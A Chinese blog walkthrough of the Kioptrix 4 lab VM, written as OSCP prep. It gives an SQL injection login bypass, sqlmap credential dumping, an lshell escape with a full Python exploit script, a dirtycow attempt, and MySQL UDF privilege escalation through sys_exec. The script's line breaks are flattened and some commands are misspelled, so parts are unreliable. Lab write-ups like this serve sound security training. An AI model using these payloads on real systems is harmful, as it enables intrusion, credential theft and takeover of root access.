当前位置: 首页 > news >正文

OSCP备战-Kioptrix4详细教程

目录

配置靶机

目标IP探测

​编辑端口扫描

139/445端口 Samba

80端口获取shell

绕过lshell

方法一

​编辑

方法二

​编辑提权

内核漏洞

mysql udf提权


配置靶机


使用vm新建虚拟机,选择vmdk文件打开。

目标IP探测

arp-scan -l


得出目标IP:192.168.155.167
也可以使用

netdiscover -i eth0 -r 192.168.155.0/24


也可以使用

nmap -sN 192.168.155.0/24 --min-rate 1000


端口扫描

nmap -sV -sT --min-rate 1000 -p1-65535 IP


结果:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-11 21:53 EDT
Nmap scan report for 192.168.155.167
Host is up (0.0020s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:36:BD:8F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

139/445端口 Samba


发现催脆弱端口Samba:用于在同一局域网的Linux与windows系统直接的文件共享和打印共享的软件
并且标出了版本号3.x-4.x

msf中使用smb_version看到是3.0.28


然鹅我验证了很多CVE漏洞和payloads,发现都无法实现


80端口获取shell

访问一下,开局一个登录框


尝试万能密码,发现密码框可以

' or '1' =1 #


显示的内容好像没啥用,但是url怎么有个username=admin
猜测修改username的值,如果值存在于数据库中即显示信息
dirsearch扫出了database.sql,访问一下


发现了id=1 username=john的账号


果然信息改变了,虽然也没有什么用
回到登录框
username填john,password填1234试一下
报错,改变password = 123'


存在报错注入
利用sqlmap进行post注入
搜索表单:

sqlmap -u http://192.168.155.167/member.php --forms


找到表单值后查询数据库:

sqlmap -u http://192.168.155.167/member.php --forms --dbs


填值就是一直:

myusername=john&mypassword=test'&Submit=Login


表:

sqlmap -u http://192.168.155.167/member.php --forms -D members --tables


字段:

sqlmap -u http://192.168.155.167/member.php --forms -p mypassword -D members -T members --columns --batch


值:

sqlmap -u http://192.168.155.167/member.php --forms -p mypassword  --batch --level 3 -D members -T members -C 'username,password' --dump


出来结果了:

robert/ADGAdsafdfwt4gadfga== 
john/MyNameIsJohn


由于端口扫描的时候开启了ssh连接,尝试连接一下

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa john@192.168.155.167
ssh -oHostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa robert@192.168.155.167


都能连接上,但是help一下可用命令,发现少的可怜,似乎是lshell

绕过lshell

方法一

在连接上靶机后执行

echo os.system("/bin/ksell")

方法二

在kali机中执行命令

cd tmp
searchspolit lshell


下载:

searchspolit -m 39632.c

查看使用条件:

vim 39632.py


因为这个脚本的编译环境是python2的,我就改成了python3可以编译的版本如下

import paramiko
import traceback
import sys
from time import sleep#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#if len(sys.argv) < 4:print(f'{sys.argv[0]}: [USER] [PW] [IP] {{opt: port}}')sys.exit(1)try:print('[!] .............................')print('[!] lshell <= 0.9.15 remote shell.')print('[!] note: you can also ssh in and execute \'/bin/bash\'')print('[!] .............................')print(f'[!] Checking host {sys.argv[3]}...')ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())if len(sys.argv) == 5:ssh.connect(sys.argv[3], port=int(sys.argv[4]), username=sys.argv[1], password=sys.argv[2])else:ssh.connect(sys.argv[3], username=sys.argv[1], password=sys.argv[2])# Verify lshellchannel = ssh.invoke_shell()while not channel.recv_ready():sleep(1)ret = channel.recv(2048).decode('utf-8', errors='ignore')channel.send('help help\n')while not channel.recv_ready():sleep(1)ret = channel.recv(2048).decode('utf-8', errors='ignore')if 'lshell' not in ret:if 'forbidden' in ret:print('[-] Cannot execute SSH commands')else:print('[-] Not an lshell environment')sys.exit(1)# Check vulnerabilitychannel.send('sudo\n')while not channel.recv_ready():sleep(1)ret = channel.recv(2048).decode('utf-8', errors='ignore')if 'Traceback' not in ret:print('[-] lshell version not vulnerable')sys.exit(1)channel.close()ssh.close()# Start pseudo-shellprint('[+] Vulnerable lshell found, starting shell...')ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())if len(sys.argv) == 5:ssh.connect(sys.argv[3], port=int(sys.argv[4]),username=sys.argv[1], password=sys.argv[2])else:ssh.connect(sys.argv[3],username=sys.argv[1], password=sys.argv[2])while True:try:cmd = input('$ ')if not cmd:continueif cmd.startswith('/'):print('[!] Avoid absolute paths')continue# Escape payloadcmd = cmd.replace("'", r"\'")py_cmd = f'echo __import__(\'os\').system(\'{cmd.replace(" ", r"\t")}\')'if cmd.lower() in ('exit', 'quit'):break_, stdout, _ = ssh.exec_command(py_cmd)out = stdout.read().decode('utf-8', errors='replace')print(out.strip())except KeyboardInterrupt:print('\n[!] Ctrl+C detected, exiting...')breakexcept paramiko.AuthenticationException:print(f'[-] Authentication failed for {sys.argv[3]}')
except Exception as e:print(f'[-] Error: {str(e)}')traceback.print_exc(file=sys.stdout)
finally:if 'ssh' in locals():ssh.close()if 'channel' in locals() and not channel.closed:channel.close()

保存为1.py,利用:

python 1.py john MyNameIsJohn 192.168.155.167


提权

内核漏洞


查看内核版本:

uname -a


2.6.24,貌似可以使用脏牛提权
查看端口

netstate -tulnp


第一次尝试发现靶机没有gcc,无法编译,欧克准备直接下载编译好的版本

cd tmp
gcc -pthread dirtyc.c -o dirty -lcrypt
python -m http.server 9988
wget http://192.168.155.166/dirty


第二次发现文件没有执行权限,加个权限

chmod +x dirty


第三次发现不能执行二进制文件,嘻嘻

mysql udf提权


看端口的时候发现开启了3306端口,再看看mysql udf提权

find /var/www -name *.php
cat /var/www/checklogin.php


看到root/,连接

mysql -u root -p


回车即可连接
查看mysql udf表

SELECT * FROM mysql.func;


已经有可执行函数了,添加john到管理员:

select sys_exec('usermod -a -G admin john '); 
exit


执行

sudo su


成功

相关文章:

  • Python+1688 API 开发教程:实现商品实时数据采集的完整接入方案
  • Conda在powershell终端中无法使用conda activate命令
  • React百日学习计划-Grok3
  • 如何学习VBA_3.3.3 VBA程序写好后,如何进行调试,直到程序运行
  • 数据结构—(链表,栈,队列,树)
  • 重生之我是CSDN大佬
  • 在VirtualBox中安装虚拟机后不能全屏显示的问题及解决办法
  • 从零实现一个高并发内存池 - 1
  • [ctfshow web入门] web72
  • Linux精确列出非法 UTF-8 字符的路径或文件名
  • logback 日志归档,解决主日志和归档日志分别定义不同的周期
  • EXCEL Python 实现绘制柱状线型组合图和树状图(包含数据透视表)
  • Redis Cluster 集群搭建和集成使用的详细步骤示例
  • 获取accesstoken时,提示证书解析有问题,导致无法正常获取token
  • NumPy 2.x 完全指南【十】基础索引
  • 网络协议与系统架构分析实战:工具与方法全解
  • 五大静态博客框架对比:Hugo、Hexo、VuePress、MkDocs、Jekyll
  • 聊天项目总结
  • 多边形,矩形,长方体设置
  • livenessProbe 和 readinessProbe 最佳实践
  • 多条跨境铁路加速推进,谁是下一个“超级枢纽”?
  • 日月谭天丨这轮中美关税会谈让台湾社会看清了什么?
  • 中国-拉共体论坛第四届部长级会议北京宣言
  • 回望乡土:对媒介化社会的反思
  • 广西壮族自治区党委政法委副书记李文博接受审查调查
  • 哈尔滨工业大学原副校长王魁业逝世,享年92岁